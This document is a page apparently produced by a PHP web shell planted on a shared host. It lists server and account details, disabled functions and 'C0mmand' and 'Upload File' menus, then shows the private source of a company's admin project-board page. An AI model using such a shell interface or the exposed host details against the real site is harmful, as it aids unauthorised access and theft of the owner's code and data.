|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/vendor/../projects/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
header("Location: login.php");
exit;
}
// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
header("Location: employee.php");
exit;
}
require_once '../config/config.php';
require_once '../config/db.php';
$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';
// Only CEO and Manager can view project boards
if ($current_user_role !== 'CEO' && $current_user_role !== 'Manager') {
header("Location: dashboard.php");
exit;
}
// Get all projects (proposals with tasks)
$projects_query = "SELECT DISTINCT
p.proposal_id,
p.proposal_code,
p.proposal_title,
c.customer_name,
c.customer_id,
p.status as proposal_status,
COUNT(DISTINCT t.task_id) as total_tasks,
SUM(CASE WHEN t.status = 'Completed' THEN 1 ELSE 0 END) as completed_tasks,
MIN(t.start_date) as project_start,
MAX(t.end_date) as project_end,
COUNT(DISTINCT t.employee_id) as team_size
FROM tbl_proposals p
LEFT JOIN tbl_customers c ON p.customer_id = c.customer_id
LEFT JOIN tbl_tasks t ON p.proposal_id = t.proposal_id
WHERE t.task_id IS NOT NULL
GROUP BY p.proposal_id, p.proposal_code, p.proposal_title, c.customer_name, c.customer_id, p.status
ORDER BY p.created_at DESC";
$projects_result = mysqli_query($con, $projects_query);
if (!$projects_result) {
die("Query Error: " . mysqli_error($con));
}
// Get all tasks grouped by project and status
$tasks_query = "SELECT
t.*,
e.fname as employee_name,
e.email as employee_email,
p.proposal_id,
p.proposal_code,
DATEDIFF(t.end_date, CURDATE()) as days_remaining
FROM tbl_tasks t
LEFT JOIN tbl_user e ON t.employee_id = e.uid
LEFT JOIN tbl_proposals p ON t.proposal_id = p.proposal_id
WHERE t.proposal_id IS NOT NULL
ORDER BY t.priority DESC, t.end_date ASC";
$tasks_result = mysqli_query($con, $tasks_query);
// Organize tasks by project and status
$project_tasks = [];
while ($task = mysqli_fetch_assoc($tasks_result)) {
$proposal_id = $task['proposal_id'];
$status = $task['status'];
if (!isset($project_tasks[$proposal_id])) {
$project_tasks[$proposal_id] = [
'Pending' => [],
'In Progress' => [],
'Completed' => [],
'On Hold' => []
];
}
$project_tasks[$proposal_id][$status][] = $task;
}
mysqli_data_seek($projects_result, 0);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<base href="../" />
<title>Project Board View - TDS Admin Hub</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
<style>
.board-container {
display: flex;
gap: 20px;
overflow-x: auto;
padding-bottom: 20px;
}
.board-column {
min-width: 320px;
max-width: 320px;
background: #f5f8fa;
border-radius: 8px;
padding: 15px;
}
.board-column-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 2px solid #e4e6ef;
}
.board-column-title {
font-weight: 600;
font-size: 14px;
text-transform: uppercase;
}
.task-count {
background: #fff;
border-radius: 20px;
padding: 2px 10px;
font-size: 12px;
font-weight: 600;
}
.task-card {
background: white;
border-radius: 8px;
padding: 15px;
margin-bottom: 12px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
cursor: pointer;
transition: all 0.3s ease;
border-left: 4px solid transparent;
}
.task-card:hover {
box-shadow: 0 4px 12px rgba(0,0,0,0.15);
transform: translateY(-2px);
}
.task-card.priority-urgent {
border-left-color: #f1416c;
}
.task-card.priority-high {
border-left-color: #ffc700;
}
.task-card.priority-medium {
border-left-color: #009ef7;
}
.task-card.priority-low {
border-left-color: #50cd89;
}
.task-title {
font-weight: 600;
font-size: 14px;
margin-bottom: 8px;
color: #181c32;
}
.task-description {
font-size: 13px;
color: #7e8299;
margin-bottom: 10px;
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
.task-meta {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 10px;
padding-top: 10px;
border-top: 1px solid #eff2f5;
}
.task-assignee {
display: flex;
align-items: center;
gap: 8px;
}
.assignee-avatar {
width: 28px;
height: 28px;
border-radius: 50%;
background: #009ef7;
color: white;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
font-weight: 600;
}
.task-deadline {
font-size: 12px;
color: #7e8299;
}
.task-deadline.overdue {
color: #f1416c;
font-weight: 600;
}
.project-board {
background: white;
border-radius: 12px;
padding: 25px;
margin-bottom: 30px;
box-shadow: 0 0 20px rgba(0,0,0,0.08);
}
.project-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 2px solid #eff2f5;
}
.project-info {
flex: 1;
}
.project-title {
font-size: 18px;
font-weight: 700;
color: #181c32;
margin-bottom: 5px;
}
.project-meta-row {
display: flex;
gap: 20px;
align-items: center;
margin-top: 8px;
}
.project-stats {
display: flex;
gap: 15px;
align-items: center;
}
.stat-item {
display: flex;
align-items: center;
gap: 5px;
font-size: 13px;
}
.category-tag {
display: inline-block;
padding: 4px 10px;
border-radius: 6px;
font-size: 12px;
font-weight: 600;
margin-right: 5px;
margin-bottom: 5px;
}
.empty-column {
text-align: center;
padding: 30px 15px;
color: #a1a5b7;
}
.board-column.status-pending {
background: #fff8f5;
}
.board-column.status-in-progress {
background: #f5f8ff;
}
.board-column.status-completed {
background: #f5fff8;
}
.board-column.status-on-hold {
background: #fffbf5;
}
.progress-bar-container {
display: flex;
align-items: center;
gap: 10px;
}
.progress-bar-wrapper {
flex: 1;
height: 8px;
background: #eff2f5;
border-radius: 4px;
overflow: hidden;
}
.progress-bar-fill {
height: 100%;
background: linear-gradient(90deg, #009ef7, #50cd89);
border-radius: 4px;
transition: width 0.3s ease;
}
.no-projects {
text-align: center;
padding: 60px 20px;
}
</style>
</head>
<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true"
data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true"
data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true"
data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true"
data-kt-app-toolbar-enabled="true" class="app-default">
<script>
var defaultThemeMode = "light";
var themeMode;
if (document.documentElement) {
if (document.documentElement.hasAttribute("data-bs-theme-mode")) {
themeMode = document.documentElement.getAttribute("data-bs-theme-mode");
} else {
if (localStorage.getItem("data-bs-theme") !== null) {
themeMode = localStorage.getItem("data-bs-theme");
} else {
themeMode = defaultThemeMode;
}
}
if (themeMode === "system") {
themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
}
document.documentElement.setAttribute("data-bs-theme", themeMode);
}
</script>
<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
<?php include 'includes/header.php'; ?>
<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
<?php include 'includes/sidebar.php'; ?>
<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
<div class="d-flex flex-column flex-column-fluid">
<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
<div id="kt_app_toolbar_container" class="app-container container-fluid d-flex flex-stack">
<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
<h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
📊 Project Board View
</h1>
<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
<li class="breadcrumb-item text-muted">
<a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
</li>
<li class="breadcrumb-item">
<span class="bullet bg-gray-500 w-5px h-2px"></span>
</li>
<li class="breadcrumb-item text-muted">Project Boards</li>
</ul>
</div>
<div class="d-flex align-items-center gap-2">
<a href="admin/project_summary.php" class="btn btn-sm btn-light">
<i class="ki-duotone ki-chart-simple fs-3">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
</i>
Summary View
</a>
<a href="admin/tasks.php" class="btn btn-sm btn-primary">
<i class="ki-duotone ki-plus fs-2"></i>
Assign Task
</a>
</div>
</div>
</div>
<div id="kt_app_content" class="app-content flex-column-fluid">
<div id="kt_app_content_container" class="app-container container-fluid">
<?php if (mysqli_num_rows($projects_result) === 0): ?>
<div class="no-projects">
<i class="ki-duotone ki-abstract-26 fs-5x text-gray-400 mb-5">
<span class="path1"></span>
<span class="path2"></span>
</i>
<h3 class="text-gray-800 fw-bold mb-3">No Projects Found</h3>
<p class="text-muted fs-5 mb-5">Start by assigning tasks to proposals to see them here</p>
<a href="admin/task_assignment.php" class="btn btn-primary">
<i class="ki-duotone ki-plus fs-2"></i>
Assign First Task
</a>
</div>
<?php else: ?>
<?php while ($project = mysqli_fetch_assoc($projects_result)):
$completion_rate = $project['total_tasks'] > 0 ?
round(($project['completed_tasks'] / $project['total_tasks']) * 100) : 0;
$project_id = $project['proposal_id'];
$tasks = isset($project_tasks[$project_id]) ? $project_tasks[$project_id] : [
'Pending' => [],
'In Progress' => [],
'Completed' => [],
'On Hold' => []
];
?>
<div class="project-board">
<div class="project-header">
<div class="project-info">
<div class="project-title">
<?php echo htmlspecialchars($project['proposal_code']); ?> -
<?php echo htmlspecialchars($project['proposal_title']); ?>
</div>
<div class="project-meta-row">
<span class="badge badge-light-primary">
<i class="ki-duotone ki-user fs-6">
<span class="path1"></span>
<span class="path2"></span>
</i>
<?php echo htmlspecialchars($project['customer_name']); ?>
</span>
<?php if ($project['project_start'] && $project['project_end']): ?>
<span class="text-muted fs-7">
<i class="ki-duotone ki-calendar fs-6 text-primary">
<span class="path1"></span>
<span class="path2"></span>
</i>
<?php echo date('M d', strtotime($project['project_start'])); ?> -
<?php echo date('M d, Y', strtotime($project['project_end'])); ?>
</span>
<?php endif; ?>
<span class="text-muted fs-7">
<i class="ki-duotone ki-people fs-6 text-info">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
</i>
<?php echo $project['team_size']; ?> Members
</span>
</div>
</div>
<div class="project-stats">
<div class="stat-item">
<span class="badge badge-light-primary fs-6 fw-bold">
<?php echo $project['total_tasks']; ?> Tasks
</span>
</div>
<div class="progress-bar-container" style="min-width: 200px;">
<div class="progress-bar-wrapper">
<div class="progress-bar-fill" style="width: <?php echo $completion_rate; ?>%"></div>
</div>
<span class="fw-bold fs-6 text-success"><?php echo $completion_rate; ?>%</span>
</div>
</div>
</div>
<div class="board-container">
<!-- Pending Column -->
<div class="board-column status-pending">
<div class="board-column-header">
<span class="board-column-title text-muted">
<i class="ki-duotone ki-time fs-4 text-muted">
<span class="path1"></span>
<span class="path2"></span>
</i>
Pending
</span>
<span class="task-count badge badge-light-secondary">
<?php echo count($tasks['Pending']); ?>
</span>
</div>
<?php if (empty($tasks['Pending'])): ?>
<div class="empty-column">
<i class="ki-duotone ki-note-2 fs-3x">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
</i>
<p class="mt-3 mb-0 fs-7">No pending tasks</p>
</div>
<?php else: ?>
<?php foreach ($tasks['Pending'] as $task):
$priority_class = 'priority-' . strtolower($task['priority']);
$is_overdue = ($task['days_remaining'] < 0);
?>
<div class="task-card <?php echo $priority_class; ?>"
onclick="viewTaskDetails(<?php echo $task['task_id']; ?>)">
<div class="task-title">
<?php echo htmlspecialchars($task['task_title']); ?>
</div>
<?php if ($task['task_description']): ?>
<div class="task-description">
<?php echo htmlspecialchars($task['task_description']); ?>
</div>
<?php endif; ?>
<?php if ($task['category']): ?>
<div class="mb-2">
<span class="badge badge-light-primary fs-8">
<?php echo htmlspecialchars($task['category']); ?>
</span>
<?php if ($task['subcategory']): ?>
<span class="badge badge-light-info fs-8">
<?php echo htmlspecialchars($task['subcategory']); ?>
</span>
<?php endif; ?>
</div>
<?php endif; ?>
<span class="badge badge-light-success fs-8">
<i class="ki-duotone ki-check fs-6"></i>
Done
</span>
<div class="task-meta">
<div class="task-assignee">
<div class="assignee-avatar">
<?php echo strtoupper(substr($task['employee_name'], 0, 1)); ?>
</div>
<span class="fs-8 fw-semibold text-gray-700">
<?php echo htmlspecialchars($task['employee_name']); ?>
</span>
</div>
<div class="task-deadline">
<i class="ki-duotone ki-calendar-8 fs-6">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
<span class="path6"></span>
</i>
<?php echo date('M d', strtotime($task['end_date'])); ?>
</div>
</div>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
<!-- On Hold Column -->
<div class="board-column status-on-hold">
<div class="board-column-header">
<span class="board-column-title text-warning">
<i class="ki-duotone ki-pause fs-4 text-warning">
<span class="path1"></span>
<span class="path2"></span>
</i>
On Hold
</span>
<span class="task-count badge badge-light-warning">
<?php echo count($tasks['On Hold']); ?>
</span>
</div>
<?php if (empty($tasks['On Hold'])): ?>
<div class="empty-column">
<i class="ki-duotone ki-mouse-square fs-3x">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
</i>
<p class="mt-3 mb-0 fs-7">No tasks on hold</p>
</div>
<?php else: ?>
<?php foreach ($tasks['On Hold'] as $task):
$priority_class = 'priority-' . strtolower($task['priority']);
$is_overdue = ($task['days_remaining'] < 0);
?>
<div class="task-card <?php echo $priority_class; ?>"
onclick="viewTaskDetails(<?php echo $task['task_id']; ?>)">
<div class="task-title">
<?php echo htmlspecialchars($task['task_title']); ?>
</div>
<?php if ($task['task_description']): ?>
<div class="task-description">
<?php echo htmlspecialchars($task['task_description']); ?>
</div>
<?php endif; ?>
<?php if ($task['category']): ?>
<div class="mb-2">
<span class="badge badge-light-primary fs-8">
<?php echo htmlspecialchars($task['category']); ?>
</span>
<?php if ($task['subcategory']): ?>
<span class="badge badge-light-info fs-8">
<?php echo htmlspecialchars($task['subcategory']); ?>
</span>
<?php endif; ?>
</div>
<?php endif; ?>
<span class="badge badge-light-<?php
echo $task['priority'] === 'Urgent' ? 'danger' :
($task['priority'] === 'High' ? 'warning' :
($task['priority'] === 'Medium' ? 'info' : 'secondary'));
?> fs-8">
<?php echo htmlspecialchars($task['priority']); ?>
</span>
<div class="task-meta">
<div class="task-assignee">
<div class="assignee-avatar">
<?php echo strtoupper(substr($task['employee_name'], 0, 1)); ?>
</div>
<span class="fs-8 fw-semibold text-gray-700">
<?php echo htmlspecialchars($task['employee_name']); ?>
</span>
</div>
<div class="task-deadline <?php echo $is_overdue ? 'overdue' : ''; ?>">
<i class="ki-duotone ki-calendar-8 fs-6">
<span class="path1"></span>
<span class="path2"></span>
<span class="path3"></span>
<span class="path4"></span>
<span class="path5"></span>
<span class="path6"></span>
</i>
<?php echo date('M d', strtotime($task['end_date'])); ?>
</div>
</div>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
</div>
</div>
<?php endwhile; ?>
<?php endif; ?>
</div>
</div>
</div>
<div id="kt_app_footer" class="app-footer">
<div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
<div class="text-gray-900 order-2 order-md-1">
<span class="text-muted fw-semibold me-1">2024©</span>
<a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">
Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span>
<b>by TheDotStudios.</b>
</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Scripts -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="assets/plugins/global/plugins.bundle.js"></script>
<script src="assets/js/scripts.bundle.js"></script>
<script>
function viewTaskDetails(taskId) {
window.location.href = 'admin/task_assignment.php?task_id=' + taskId;
}
</script>
<?php include 'includes/chat_widget.php'; ?>
</body>
</html>